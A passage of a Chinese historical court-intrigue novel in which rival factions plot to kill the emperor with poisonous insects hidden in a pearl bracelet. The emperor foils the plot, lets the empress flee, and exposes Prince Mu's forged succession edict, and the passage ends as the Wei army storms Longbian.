听上头说,复职的原因就是天子将要出行,需调派京中卫军人手护驾,暂时人手不够。
林允升的老上峰趁机为他进言,说他平素多么多么的尽忠职守云云,终于换得他重回官场了。
这日,林允升应族中长姐穆王妃之邀前往穆王府看望长姐和穆王,三人在书房内无人处说了许久的话,遂也说到了这一茬。
林允升上次丢官,就是因为在赵皇后昏迷生病时,他酒后和旁人顺嘴议论了一句,说他姐姐乃当朝穆王妃,和宫里的关系也还不错,若是能趁此机会,让姐姐把他的妹妹林氏女引荐到陛下跟前,得到天子宠幸,哪怕只是做个小小的更衣侍女,也能让他在官场上得到十二分的助力,从此平步青云。
谁知这话就被有心之人传了出去,一路被告状告到赵太后那里,赵太后怀恨在心,把事情捅到了皇帝处,皇帝一怒之下,将他们这些人的官职全都撸了个干净。
这次好不容易复官,林允升在姐姐穆王妃跟前也十分心虚愧疚,他自觉自己拖累了姐姐,这一趟过来,也有专程向姐姐和穆王诚心致歉的意思。
然而,穆王和穆王妃似乎并没有将那件小小的事放在心上。
因为他们正在密谋一件更大的事。
——在听完穆王和姐姐穆王妃的谋划后,林允升被吓得差点跌坐在地上。
穆王夫妇告诉他说,这趟春狩之行,天子必定有去无回,国丧只在旬月之间,必定传于天下。
而林允升要做的,就是只等天子甫一崩逝,便立刻在京中卫军之间负责传言,说天子已崩,生前传位穆王,立穆王为皇太弟,穆王将不日登基。
他要稳住卫军上下的军心,并且排除异己,只要长安城内外谁敢对穆王即位之事有所异议,他就立刻杀之灭口。
谁敢质疑天子为何在壮年骤然崩逝、质疑天子死因的,也同样格杀勿论。
只等穆王赶忙登基后,大局已定,他辄有从龙之功,可被封为侯爵。
林允升久久说不出话来,穆王妃上前温柔地按住他的肩膀:
“吾弟!姐姐没有亲兄弟,族中最亲的就是你这个堂弟了,待我们大事一成,汝姊贵为皇后,林氏一族便是皇后母族,你就是真正的国舅!你只看如今那赵氏一族何等奢靡气派,只要你愿意帮你姐夫穆王,最多一个月后,赵氏所有的荣华富贵,都将加倍到你身上!
你看那赵氏一族、那赵太后何等盛气凌人,他们随便在皇帝面前告状一句,就能让你被皇帝罢了官,难道你想一辈子这样被人欺负?”
她又问了弟弟一遍:“你敢不敢?”
林允升终于咬牙应下:“男儿无志不丈夫,我有何不敢!但凭姐姐、姐夫吩咐就是!”
穆王与穆王妃相视而笑。
可惜,不论这些人谋划得自以为如何周全完美,只有在岭南监督战局的驸马韩孝直十分绝望地认识到了这场闹剧的结局最终会如何。
他知道,一切都完了。
全都到头了。
他的一生都被毁了。
身为公主,他妻子颍川公主周芩姬后半生本该受到的天家宠眷是彻底到头了。
身为驸马和武将,他尚且年轻,他后半生本该继续扶摇直上的前途和未来也已经没有了。
他的家族,他的子嗣,他的儿孙,所有的希望都没有了。
眼下还能保全一条贱命,已是天子对他的格外开恩。
若非看在颍川公主的面子上,恐怕如今他韩氏全族都被族诛尽灭了。
为什么,为什么他只是想把弟弟带出来在战场上混个军功捞个官职,结果这个素来一无是处的无能弟弟,居然还能隔着一条江,和前朝的余孽勾结在一起?
为什么他竟然还敢意欲勾结前朝余孽、唆使皇后谋害天子?
他到底是怎么敢的?这些人又到底怎么敢的?
他痛心自己被毁掉的前程,他无法理解其中的任何人。
弟弟,冯氏,穆王,穆王妃,皇后,张道恭,周婈珠,所有人都令他痛恨,令他无法理解他们的愚蠢和狂妄!
第50章
自皇帝发现媜珠与周婈珠通过韩氏兄弟来往长安的信件相勾结后,皇帝当下便断定韩孝直之弟韩孝民必然参与其中,至于这里驸马韩孝直自己有没有勾结进去,皇帝尚不确定。
然而此事事关重大,不仅是媜珠对他在感情上的背叛和不忠,更关系到岭南战局,万一连主帅韩孝直自己都反了,那后果完全是不堪设想的。
故,皇帝早就在发现此事后便暗中新任命了一位主帅,一面命他去岭南主审此案,一面让他接替韩孝直之职位,统管岭南战局诸事,并且让他火速解决战事,早点把张道恭这群亡国之犬给料理了,别像之前的几位主帅一样犹犹豫豫拖泥带水的,闹得他心烦。
这位新主帅邓元益在受命之后,连自己的行李衣裳也不敢多收拾两件,几乎是立刻昼夜兼程照着八百里加急的速度直奔岭南而去。
到了交州后,他也不敢打草惊蛇,只秘密先审了驸马韩孝直,很快便将这桩勾结前朝余孽案的来龙去脉给理了个清楚。
一切皆因韩氏兄弟二人暗藏家中的龃龉龌龊而起,最后竟然在有心之人的挑拨下,从小小的兄弟冲突,闹成了通敌叛国、意欲弑君的弥天大罪。
当韩孝直后知后觉地发现这一切后,他那时的失魂丧胆、崩溃绝望,恐怕也再无人能够感同身受了。
他是跪地手书请罪的奏章,面如土色地请邓元益替他转交回长安,让陛下亲阅,每一个字皆用尽浑身力气。
他觉得自己的心灰意冷、万念俱灰,哪怕是隔壁龙编县里失了山河丢了天下的张道恭,也完全不能和他相比。
张道恭那单纯是他自己无能,这才做了亡国奴。
可他呢?
一步步走到今天,他付出了多少?他容易吗?
于寒门之中飞身宗亲显贵之列,他用尽了毕生的心血和祖辈积蓄的运气,历朝历代,你翻着史书去找一找,究竟有多少男人可以像他一样,从一个落魄武夫一跃娶得公主、逆天改命的!
他没有毁在外人的手里,没有因为天子的猜忌、仇家的陷害、同僚的嫉妒等种种原因而获罪,最后竟然是栽在了自己亲弟弟的手里!
多可笑!
这件事是因他弟弟而起,是他们韩家人犯下的滔天大罪,哪怕皇帝相信他是清白的,都不能随意饶过他。
毕竟不管再怎么说,哪怕他毫不知情,他也确实还担了一个“看管不力”“鲁莽失察”之罪,届时皇帝秋后算账,他能捡回条命来,就算是烧了八辈子的高香了。
可尽管如此,韩孝直也清楚知道,从这一刻起,韩氏全族,他子孙后代的前程,全没有了。
原先他还梦想着,只要他这个做父亲的有些功勋在身,再加上颍川公主的宗室身份,往后,或许他的儿子还可以再迎娶一位公主回来光耀门楣,他的女儿也能嫁回周氏宗室里做个王妃郡王妃……
现在,这些所有皆成了镜花水月的泡影,再也不可能实现了。
因为皇帝的吩咐,为了不走漏风声、让韩孝民和周婈珠他们察觉到异常,韩孝直平日里还要装作若无其事、毫无察觉的样子,白日里和自己这个冥顽不灵愚不可及的弟弟朝夕相对,谈笑如故,眼睁睁看着他一步步继续往火坑里跳,继续帮着那周淑妃和张道恭做这种根本不可能成功的蠢事。
更加让韩孝直感到心如死灰的是,仿佛这岭南的山水都和他有仇一般,专门和他对着干。
自他到交州后,皇帝一再催促早日生擒张道恭,结束战事,他自己当然也是这么想的,可是每每总遇不到好时机,回回错过后,就这么拖了几个月了。
前段时间他欲渡河强攻龙编县,结果龙编县偏偏遇上了近百年都难得一遇的冬汛,寒凉迅疾的江水包围着龙编县,成了一条天然的屏障般的护城河,让他望江兴叹、寸步难行。
好不容易等到冬汛渐止,他以为江水平缓之后自己总算可以发兵渡河,结果春汛又接踵而至,使得江水水位暴涨,他的渡河之计又被迫搁浅。
韩孝直心想,上天最后再眷顾张道恭一次,总不能永远都帮着他这个亡国之君吧?
难不成这春汛之后还有夏汛不成?
他不信这江水真的会一年到头涨个没完没了了,就等最后熬过这场春汛,他一定一定要渡河抓张道恭。
然而,春汛未止,他的前程和仕途却先于张道恭而结束了。
真是天大的笑话!天大的笑话!韩孝直自己几乎都想大笑一场。
隔壁的龙编县内,婈珠和张道恭同样惴惴不安,心鼓如雷,夜夜难以安枕。
他们心知肚明,如今他们皆已到了生死存亡的最后关头,眼看着魏军渡河之心已无比坚决,他们到底还能不能撑过这一劫,就看远在长安的周媜珠中不中用了。
只要媜珠下了这个手,只要周奉疆一死,等周奉疆的死讯传至岭南,这些魏军便会不战而败,军心顿时溃散,再也没人能将这支军队指挥起来。
——皇帝都死了,我还去替他抓他的前朝亡国之君,图什么呢?就算真的抓到了,到时候我再和谁领赏去?
换句话说,这个关口了,唯一还能打败这些魏军的、能动摇他们作战意志的,只有周奉疆的死讯。
因为,你总不能指望突然老天爷打一场大雷,精准无误地把这些人全劈死吧?你也不能指望他们顷刻之间全患上同一种瘟疫,然后一夜里全数死绝了。
还不如做梦去。
既然指望不了上天异象,那就唯有指望自己的计谋了。
几日之前,周婈珠才小心翼翼虔诚无比地从那位老巫医处请来了那盅蛊虫,让那老巫医将雌雄两只蛊虫装入珍珠手钏的机关里,用蜜蜡封住口,叫韩孝民夹带在家信里送回了长安。
她现在只等着周奉疆的死讯,而且他的死讯,必须先于韩孝直率军渡河之日而传回交州。
她不仅等着逆贼周奉疆死,也等着周媜珠那贱妇给她的奸夫陪葬。
这对奸夫淫妇,无耻狗男女,全都应该去死。
张道恭在书房里有些心神不宁:“但愿三娘此番顺利,能全身而退,保全好自己才是。”
周奉疆到底是皇帝,若是当真在卧榻之间不明不白地死了,侍奉在侧的皇后肯定少不了被人疑心,如果被人发现天子之死的确是她所为,继而又被人蓄意刁难,她该如何从中脱身自保,也是个不小的问题。
婈珠在旁柔柔一笑,安抚他说:
“陛下不必为此悬心,一则那蛊虫小如米粒,切肤的伤口并不容易为人发现,外人也不会想到这上头去。二则三妹妹到底是……到底是周奉疆的妻,底下的人岂敢太为难她!就算他们真知道是三妹妹动的手,又能如何?昔晋孝武帝司马曜被宠妃张贵人用枕被活活捂死,史书皆知,最后不也是不了了之么?谁也没把那张贵人如何呢。”
她心底冷笑,面上关切,满是真心:“妾许多年没再见过三妹妹,妾当真期盼有朝一日和三妹妹姐妹重逢,见到三妹妹和陛下再续前缘,也是圆了陛下多年来的心愿了。”
张道恭叹息一声:“三娘……朕的媜媜啊,朕这些年来如何能不思念她。朕身边的每一个女人,无不因为有几分肖似她而得宠,可惜她们再像,也顶多学得三娘的半分神韵罢了,如鱼目之见珍珠,萤烛之见日月,令朕索然无味。”
——可惜你再也不会见到她了。
周婈珠在心底冷讽嘲笑,陛下,我的陛下啊,你是我的丈夫,我岂能把你拱手送给他人?尤其是送给周媜珠这种早已失贞的淫妇。
她没有告诉张道恭,她送给周媜珠的珍珠手钏里,藏着的不是一条蛊虫,而是一对。
一对雌雄蛊虫,正好送他们这对狗男女成双成对地好上路。
人都是有私心的,可惜有时候很多人并不能意识到这一点,也许大家都只允许自己有私心,同时却又默认了旁人必须对自己不能有半分遮掩保留。
张道恭,周婈珠,穆王周奉弘……他们全是这一类人。
譬如说,张道恭利用着周婈珠的才智与谋划,让周婈珠替他忙前忙后,张罗布局,而他却打算在事成之后、复国之后,立别的世族女子为中宫,爱周媜珠为宠妃,不论是名分还是宠爱,没有一点考虑过要给予周婈珠什么。
他没有告诉周婈珠他内心的想法,因为他现在还用得着她,他希望她满怀期待地继续为他鞍前马后,竭尽心力不辞劳苦。
可周婈珠也有她的私心。
她见不得自己心爱的丈夫心里牵挂着别的女人,尤其是这个女人还是她的亲妹妹。
所以她一边暗中做计在除掉周奉疆的同时除掉周媜珠,一边又假惺惺地和张道恭一起期待着再见到周媜珠的那一日。
只有她自己知道,她不允许她的妹妹再活在这个世上。
奈何让周婈珠又没有想到的是,在她之后,连她的弟弟穆王周奉弘更有一层人家的私心呢。
周婈珠通过韩孝民和冯氏,同样给弟弟穆王一家寄去了家信。
她在信中如实告知了弟弟自己的计划,告诉他们,她会利用周媜珠来杀掉周奉疆,以此为张道恭谋复国。
她希望弟弟可以配合自己的计划,只等周奉疆一死,弟弟便开始在长安城内外鼓动民心,声讨周奉疆的皇位来路不正、他是乱臣贼子不得好死,然后开始造势要迎大楚皇帝张道恭重回中原。
穆王表面上是答应了周婈珠的。
可私下里,其实穆王对他的这两个姐姐皆没有好脸色,他对她们的评价是:
“两个无能贱妇,都不是什么好东西,半斤对八两罢了。周媜珠那淫妇只知道承欢仇人身下,对着周奉疆柔顺妩媚,家里兄弟手足们遇到事了,她也就只会装模作样地哭两声。结果我那二姐姐周婈珠,连周媜珠还不如!她也是愚笨到家的蠢货,既然都有主意杀周奉疆了,这皇位不给自己家的亲弟弟图一图,竟然要帮张道恭复国?张道恭拿她当个什么了?既没给她后位,也没宠她如爱妃,她就这么死乞白赖地给张道恭当牛做马尽忠职守?可笑!”
所以,当婈珠的计划转到穆王手里时,又被穆王改了又改,已然面目全非了。
穆王不准备让周媜珠活,更不准备真的费这个辛苦的劲去送周媜珠到岭南见张道恭和周婈珠。
他只打算借周婈珠送来的蛊虫杀了周媜珠和周奉疆,他再借着周奉疆一死,趁乱传言说周奉疆死前立自己为皇太弟,然后登基为帝。
每个人都要按照自己的利益和自己的理解,在这份计划里增添一些别样的改动。
那么,大概率来说,即便这份计划真的在皇帝毫不知情的情况下实行了,其结果也是很难成功的。
在另一边,五日后的长安,天子銮驾自宫城而出,往长安城郊陈阳陵围场而去。
此乃天子登基后的第一次围猎,虽然季节有些不太寻常地选在了春日,但该有的排场铺陈还是一样不少,并且比之前朝时还更加恢弘壮观了些。
大约排场大的另一个原因就是,皇帝恩准了许多人可以随行同往,譬如颍川公主的妯娌冯氏等人,都因为沾了一点皇戚的光,得到了同去的资格。
与周奉疆出宫之前,媜珠前往承圣殿向赵太后请安、辞行。
赵太后是全然不知自己这个乖乖女儿心里打着多大的算盘,一如往常地对媜珠叮嘱了两句,要她好好守在皇帝身边,要她把皇帝服侍好了,早日怀上龙嗣等等。
媜珠心内百感交集,五味杂陈。
——她以为,或许这将是她人生中最后一次看见自己的母亲。
身为人女,不舍和痛苦当然是有的,也许就这么一走了之后,她的后半生都将活在对母亲的愧疚里。可最终两厢抉择之下,她还是选择离开,选择了逃跑。
往后余生,就算母亲怨恨生了她这个不孝的女儿,她也不敢有半字怨言。
上了天子銮驾与皇帝一同出宫时,皇帝在马车上瞧见媜珠的脸色不太好看,还关心地问了她两句,问她是否是身子不太舒服。
媜珠撑起笑颜回答,说她无事,还说难得有一趟可以出来透透气,她心中很是快活。
皇帝有些失笑,他宠溺地用手背抚过媜珠的脸颊:
“方才朕还在想,你的气色不好,是不是已有了身孕,所以面色苍白些?媜媜,咱们这些时日同房频繁,兴许你确实已有孕在身了。”
此言一出,媜珠本就苍白的脸色顿时变得更不好看了。
孩子,他还有脸敢跟她提孩子!
她现在最怕的就是孩子了,她不能怀着他的孩子。
近来的每个夜晚,当她在缠绵的床事后抚上自己被他折磨得微微隆起的小腹时,只要一想到怀孕的可能,她心脏仿佛都在害怕地剧烈颤抖。
而且,她马上就会离开他,她要去见姐姐,去见张道恭。
她已经失身给他了,怎么还能再怀着他的孩子去见旧日的情郎呢?
好在这个话题皇帝似乎只是即兴随口一提,说完之后也并未放在心上,所以媜珠还能有空长舒一口气。
他轻搂着媜珠的肩膀,透过那銮驾上时而微微飘起的纱帐,让媜珠顺着他的视线去看沿途经过的长安城街道。
不过是短短一两年的光阴罢了,长安城内坊市之间已再难看出旧日经过战乱的影子了,长街巷陌,酒楼饭馆,何其繁华兴盛。
曾经那个鼎盛无比的长安也再度回到了百姓的记忆中。
媜珠恭维他:“四海一统、生灵殷富,皆赖陛下恩德所赐。”
周奉疆不以为意,转头问媜珠:“那若是朕死了呢,天下当何如?”
媜珠被吓了一跳:“陛下何出此言!妾心惶恐。”
周奉疆凝视着她发间那顶璀璨奢靡的凤冠:“什么真龙天子,肉体凡胎的凡夫俗子罢了,谁还有不死的时候。兴许朕也会壮年而骤然崩逝,朕膝下并无亲子,若朕一死,江山该入何人手中?媜媜,你以为呢?”
她今天戴的那顶凤冠很漂亮,她有许多许多的冠子和首饰,多到专门辟一间偏殿来摆她的首饰都摆不下,而这顶镶嵌了红珊瑚珠与红宝石的凤冠是其中最夺目者,哪怕只是静静地放置在室内,也会流转着熠熠生辉的光彩,象征着女子的无上荣光。
此刻戴在她的发间,却俨然成为她这份倾世美貌的毫不起眼的一点陪衬了。
媜珠诚惶诚恐地一下跪倒在地上:“陛下此言令妾无颜苟活于世,未能替陛下诞育子嗣,是妾之过,妾罪该万死。”
她惶恐不安,周奉疆又笑了。
他温柔地扶起媜珠:“你是朕的妻子,以后不要动不动就这副模样,朕不喜欢。朕只是随口感慨一句而已。”
他抚了抚媜珠头顶的凤冠和满头的朱钗步摇:“朕的媜媜真美,可朕觉得若是换成镶了珍珠的,雪白无瑕,也许也会很漂亮。”
媜珠的脸颊上浮现一个僵硬的笑意:“妾有好几顶珍珠冠子,陛下若喜欢,妾下次戴给陛下看。”
“但愿朕还能等到那日吧。”
周奉疆不知为何如此叹息了一句,他又执起媜珠纤细的手腕:“皓腕凝霜雪……你这腕子上,若是配一条珍珠手钏,想来也是好看的。”
珍珠手钏。
婈珠寄来的珍珠手钏,先收到的人是周奉疆。
也不对,应该说,先碰到那条手钏的人,是王医丞。
皇帝将那装着手钏的盒子命人交到王医丞那里,王医丞饱读医书,通晓各地旁门左道的医蛊之术,一眼就认出这手钏里有玄机。
他小心翼翼地去除掉封在手钏上的蜜蜡,然后把那手钏投入煮沸的药水之中,不多时,就有两条米粒大小的白色蛊虫飘了上来。
王医丞小心翼翼地跪地回话,说此乃岭南的珍珠蛊,有雌雄两种,分别钻入男女体内,烈性而剧毒,轻易可夺人性命并且其毒无可挽回,又因为蛊虫钻入人体内的伤口小到几乎看不见,所以中蛊者也很难被人发现真实的死因。
俄而,君王冷笑:“是雌雄两条虫?”
王医丞答是。
周奉疆的笑意愈发冰冷:“是朕太惯着她了,是朕将她养废了,把她养出这等愚蠢的心性来。”
媜珠,原来这就是你自以为的好姐姐,自以为的亲人啊。
人家连你的命都准备一块要了,你还在这傻傻地拿她当救命稻草呢。
王医丞将这条被剔出了蛊虫的珍珠手钏恢复如初,往里头塞了两条他自己养的无毒的小虫,把这条手钏又还回了皇帝处。
手钏随着家信被送到颍川公主府,落入冯氏手中,冯氏又私下将它转交给了穆王妃。
最终,在到达陈阳陵围场围猎的第二日,穆王妃寻了个众人纷纷吵嚷的时机,偷偷把这条手钏塞进了皇后的手里。
彼时天朗气清,皇帝随众人游猎在外,媜珠身旁无奴仆侍奉,正闲散地漫步在陈阳陵围场的原野上,似是在驻足眺望着天子的归来。
只有她自己知道,这应该是她陪伴在周奉疆身边的最后一日了。
穆王妃将那手钏递给媜珠后,又悄悄与媜珠说,她请她的族弟林允升挑了两个信得过的心腹手下,夜间会来接娘娘出去,送娘娘出城。
媜珠沉沉呼出一口气,压下心中忐忑和不安,一再谢过穆王妃。
她又忍不住担心:“其实我还是怕,怕他醒来之后发难问责,牵连你们……”
穆王妃心中大笑,不用怕,过了今夜之后,他再也不会醒来了!
不止是他,你也一样给你的男人陪葬去吧,你们一起上路去!
但是这话她自然不会告诉媜珠了。她告诉媜珠的是,那手钏里的蛊虫无毒无害,只会让人短暂地昏迷不醒而已。
她对媜珠宽慰道:“娘娘何出此言呢?陛下又不会知道是谁放走了娘娘,再牵连也牵连不到妾和穆王身上,娘娘安心走便是。妾与穆王,祝愿娘娘顺心遂意,一切平安。”
媜珠低声道:“但愿如此吧。”
皇帝这一日收获颇丰,而且猎得的几乎都是食肉的猛禽野兽之流,甚至还有一只通体乌黑的豹子。
他似乎心情极好,晚膳毕,携媜珠回到天子营帐内后,他又命媜珠去为他倒酒来助兴。
媜珠照做。
一坛的烈酒饮尽,他面色未变,看不出丁点醉意,只有眸色似是有些迟钝了。
媜珠依偎在他怀里,他问她这趟出来高兴么?
媜珠笑颜相对:“外头不比宫中那样拘束,妾很开心。”
他笑了笑:“但愿你在朕身边是终于有欢愉时日了。”
周奉疆说话的语速变得慢了许多,媜珠怀疑他或许是醉透了。
她伏在他胸膛前,静静等着他酒后睡去。
终于,他有了些困顿之意,起身让媜珠侍奉他更衣。
悬于皇帝腰间蹀躞带上的符牌,则被他随手丢进了媜珠的手里。
几刻钟后,皇帝沉沉睡去了。
临睡前,不知是否是饮酒过多了的缘故,他忽然对着媜珠露出了一种难得的脆弱情绪,紧紧握着媜珠的手说:
“媜媜,你今夜会一直陪在我的身边吗?我记得多年前,就是今天,就是这样一个春日,我在扬州城里重新见到了我的生母,可她抛弃了我,我知道她真的彻底抛弃了我,不爱我……那你呢?你会永远陪在我身边吗?”
他对她说的是“我”,而不是“朕”。
媜珠温柔地答应了他:“妾当然会一直守在陛下身边的。妾永远都不会离开陛下。”
得到她的保证后,皇帝总算是阖上了眼睛。
这好像还是为数不多的他先于媜珠而睡下的时候。
媜珠心跳加速,她蹑手蹑脚地下了榻,将自己的长发随意挽成寻常宫女的发髻,换上一身穆王妃为她准备好的宫女衣衫,放下了身上的所有各色首饰。
临走前,她什么也没带。
新婚时他们的结发香囊,他赠她的金梳,他让人给她打的各种发簪首饰,她一样也没带。
她什么都不要。
不过她捡起了一枚他的符牌。
媜珠最后最后回眸深深看了一眼在榻上睡去的那个男人。
然后她转身向外走去。
外间侍奉的倪常善、佩芝等人果然已被人借机唤走了,只有两个媜珠眼生的侍卫把守在外面。
他们正要盘问媜珠什么,媜珠量他们没见过自己,装作小宫娥的模样做派,低声呵斥了一句:“我是刚侍奉过陛下的女人,你们也配看我的脸?”
那两个侍卫果然立刻惶恐地别过了头去,以为她是被皇帝随手临幸过的哪个宫娥,不敢再跟她说什么。
春狩在外,天子也要住营帐之内,果然没有宫中那样戒备森严。
她神色自若地离开,很快就有另外两个侍卫上前寻到了他,轻声凑上前问了一句:“周三娘子?”
媜珠颔首。
那二人立马道:“穆王殿下命我等送三娘子离开,三娘子请这边去。”
媜珠不疑有他,在夜色中悄然跟随他们离去。
一路上偶尔有人上前问查,媜珠低着头从袖中悄悄露出周奉疆那枚符牌的半个角后,这些人就识趣地退下了。
身为堂堂中宫皇后,她的逃离仿佛顺利得简直像是在做梦。
媜珠很快被人塞进一辆马车中,马车在浓墨般的夜色中渐渐朝着远方驶去,也缓缓远离了媜珠的噩梦。
在媜珠离开的片刻之后,皇帝自榻上缓缓睁开了双目。
他今夜饮了许多酒,可此刻又似是毫无丁点醉意。
醒来时,他身旁已不见了那个女人的踪迹,然她的衣裙却散落满地,显然是跑了。
骗子,她也是个谎话连篇的骗子。
当年在冀州,生母离开之前,他问他的生母说,阿娘,您是要走了吗?
那个女人仍旧不承认,仍旧是欺骗他,她说她不会走。
结果第二天,当他睡醒一睁眼后,他发现她果真是跑得无影无踪了,跟着她的情郎跑了。
如今连周媜珠也敢如此对他。
她也答应他说永远不离开,最后同样是趁着他“睡着”,她一走了之,头也不回。她也是为了她的情郎。
她们都只会抛弃他。
夜色静谧,周奉疆起身,孤寂落寞地立在一片昏暗中,脸色铁青,浑身紧绷。
不知过去多久,有人轻声在外通传了一声,说是皇后娘娘走了。
周奉疆垂下眼帘,声音暗哑:
“朕知道,让她走吧。”
她不是嫌弃宫中太拘束么?
他可以让人把她送出去自由片刻,让她看看外面的世界是怎样的,看看她那一点点的柔弱翅膀能经得住几回风吹雨打。
这一夜的动静到此尚未彻底止歇。
夜半时分,穆王在自己的营帐内与穆王妃商议道,恐怕这时候那蛊毒已经发作了,他们可去天子营帐处一探究竟。
一旦发现周奉疆当真死了,他们的计划就可以开始了。
穆王妃也道是。
于是,穆王借口陛下今日饮酒多,恐陛下夜间伤胃难受,特意来给陛下送醒酒汤的名义,夜间来求见皇帝。
皇帝的宦官倪常善并未阻拦,就这么让穆王入内了。
至帐内,穆王隐约瞥见床帷内僵硬地躺着两句尸体,他便以为是帝后二人的尸首,当下大喜过望,也等不及去查验究竟,赶忙先从怀中掏出自己早已准备好的“诏书”,又从皇帝的御案前摸到那冰冷的国玺,抄起玉玺重重地在这封诏书上盖了个大章。
随后他又把自己准备好的诏书平铺在案上,摆在了最显眼的位置。
做好了这一切后,他立刻冲出营帐高声疾呼起来:“陛下不豫,陛下不豫!陛下崩逝前留下传位遗诏,速请三省丞相一同前来亲阅过目!”
不知为何,出乎穆王意料的是,当他高声呼喊出“陛下驾崩”这样的口号时,这样惊天动地的大消息,竟然没有引起任何人的惊愕和不安。
相反,营帐外所有人的目光都沉沉地看着他。
他猛地感到一阵寒意袭遍全身,继而双膝发软,一股不好的念头顿时袭来。
“朕竟不知,朕是何时留下的遗诏、又是何时驾崩的。”
在这一片令人恐惧沉寂之中,忽然传来一道低沉的嗓音。
穆王四肢僵硬地缓缓转过了身去:“周奉疆?”
皇帝嫌恶地冷笑:“这样自认为精明的蠢笨伎俩,你们周家子弟到底还要再玩几遍?你们不累,朕陪着你们演戏演的都累了!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
50-60
第51章
为了不步前几位主帅的后尘,邓元益在岭南战事上的强硬和果决也是超乎众人想象的。
他既不在意当地土著僚人们对于乍然发动战事的恐惧和不安,也无暇顾忌来自北地不善水战的士卒们对于渡江的犹豫,更不管什么冬汛春汛天时地利。
他只要渡江,发了狠心一定要尽早把这前朝留下的最后一点死灰给扑得干干净净。
邓元益最终决定渡江强攻的这一天,其实并不算是个好日子。
江水春汛尚未完全止歇,水位过高,水流也颇为湍急,甚至当天还下起了一场细雨,江面上也蒙着一层朦胧的雾气。
魏军的诸多副将中,对此有犹豫者不在少数,有许多人都在劝名义上的主帅韩孝直是否可以延缓渡江。
韩孝直心中唯有苦笑,实际上他早已做不了战事的主了,真正掌管战事的,分明是藏在幕后的邓元益。
在主帅的一再坚持下,这日的清晨时分,当第一缕日光隐隐约约地照亮尘世之时,魏军第一艘渡江的战船已然从龙编县的对岸驶出。
于前楚的史书里,此则最悲壮惨烈的一日矣。
收到魏军渡江来攻的军报后,张道恭怆然长叹,泪沾双袖,只能命自己最后仅剩不多的士卒以命守城,能守一时是一时了。
年轻懵懂的薛贵妃此时依然单纯,完全不知战事的残酷与艰辛,还撒娇地摇着张道恭的衣袖宽慰他说,陛下,妾身的父亲手中尚有始兴郡的守军,有他在,他一定会护好陛下的。
张道恭瞥她一眼,颓然惨笑一声,在这一刻,对这个他素来认为愚蠢无知的妃妾,他终于也有了几分身为丈夫的保护欲,没有告诉薛贵妃最残酷的真相。
——两日前,她的父亲、始兴郡郡守薛坚明已被部将所杀,那部将弃暗投明,对魏军城门大开,率领始兴郡上下军民重归大魏皇帝周奉疆治下。
作为投诚的诚意,郡守薛坚明阖族上下数百余人皆被拉到城门前斩杀,人头落地。
薛氏,你的父母、手足、亲族,现在全都没有了。
他虽厌烦这个女人,然而在穷途末路之时,他将这些对她隐瞒了下来,他希望在她人生中最后的一段时间里,她可以不那么痛苦。
有满身血污的守军一次次悲壮沉痛地带回实时的战报来,告诉他们的建德皇帝张道恭说,此时魏军已攻至何处、我军又死伤几许人。
张道恭忽然很可悲地意识到,这一次,他是真的逃无可逃了。
流亡在外的几年里,他走过许多地方,从洛阳、长安到巴州蜀地,继而又到黔州、邵州、桂州、蒙州,能逃的地方他几乎都逃了一遍,他离他的中原越来越远,终于逃到了山穷水尽之地了。
龙编县四面皆水,南面便能入海,他还能再去哪?
在薛贵妃陪伴张道恭时,婈珠也在自己房内团团转地想着最后的脱身之法。
所有人都心照不宣地认识到,这一次和以往的逃亡绝对不一样。这一次若是被抓,那便真的再无任何希望了。
段充在这时主动找到了婈珠。
战事紧急,他不知是从何处受了伤,也是浑身的血痕污秽,模样狼狈至极。
不等段充开口,焦躁不已的淑妃先开口斥责他道:“今魏军渡河强攻,你不去替陛下守城尽忠,到我这里来做什么?”
段充这次没有向她周全地叩首行礼,也没有诚惶诚恐地为她的怒火而请罪。
他面色沉静,已然对这场战局的结果心知肚明。
“娘娘,魏军渡河胜局已定,娘娘再留在这里已毫无意义。臣为娘娘寻得了一只扁舟,虽简陋寒酸,但尚可一乘。臣水性极佳,善于渡河,求娘娘乘船出海,臣当为娘娘寻得一线生机,总比留在这里……留在这里等着受魏军之辱来得强。”
段充的水性当然是很好的,要不然之前他也不能那么多次往来于龙编县和韩孝民身边。
周婈珠相信,如果她在这一刻选择跟段充走了,段充绝对有本事让她活下来。
也许他们会随着这叶扁舟在海上漂流,最终在海外的什么蛮荒之地停留下来,然后隐姓埋名地在当地度过一生。
可惜周婈珠不愿意。
她不甘心自己这一世将用这样卑微屈辱的方式活下来,她也不相信她的计谋没有成功。
她还有她的人生,她要为她的丈夫复国,她要做张道恭的皇妃,做天下人人艳羡的皇妃,她还要为她心爱的男人生下皇子和公主,然后她的儿子会在她的筹谋下成为储君,她还会做皇后。
直至这一刻,她仍然坚信自己所谋划的一切都是成功的,此时此刻的长安,周奉疆和周媜珠的死讯一定已然传开了,只是还没有传到岭南之地而已。
她只是还差几天的时间,只差这几天,只要所有人都知道周奉疆死了,那他们就能活下来,他们就有再复国的希望。
安禄山、史思明这些称帝过的逆臣都死了,大唐的江山不还是回到了李家王朝的手里?
为什么周奉疆还不死?
她不走,她一定不会走的。
一个时辰后,魏军主力渡河上岸,龙编县城岌岌可危,只剩下最后一道微弱如蛛丝般的防御了。
段充继续苦劝周婈珠乘舟而逃。
周婈珠还是犹豫不决。
她永远记得自己是父亲周鼎的长女,她希望当她走完她的一生、在阴司地府里再见到父亲的时候,父亲是为她而感到骄傲的。
她不想就这样狼狈地离开,她应该永远不认输、不放弃,她要做皇妃、做皇后,乃至生下皇子成为来日的帝母。
她的家族会因她而荣光,她的生母也会为她而欣慰。
就在婈珠犹豫不言时,听得城外传来的不断迫近清晰的兵戈厮杀之声,段充忽地上前攥住了她双手的手腕,将她打横抱起,大步朝外走去。
对一个侍卫、一个臣下来说,这是罪当万死的僭越与冒犯。
婈珠怒而惊呼:“段充!你好大的胆子!你是活腻了吗!就算本宫落到今日田地,本宫永远是你的主子,你一个贱奴,也敢以下犯上冲撞本宫!”
她在他怀里,只能看见他紧绷的、坚硬的下颚,那并不是一张白皙俊逸如翩翩公子般的容颜,反而是粗糙的、布着血污的。
在她过往的记忆里,从来没有一个男人这样抱过她,张道恭就更不曾了。
段充一面朝外走去,一面平静地对她说:“臣不能看着娘娘留在这里等死。娘娘难道不明白,您若是落入魏军手中又会是何下场么?”
龙编县内早已乱作一团,来来往往可见四处奔散的嚎哭者,所以就连段充将周淑妃堂而皇之抱在怀中这样惊世骇俗的场面,这时候竟然都几乎无人在意了。
婈珠终于冷静了下来。
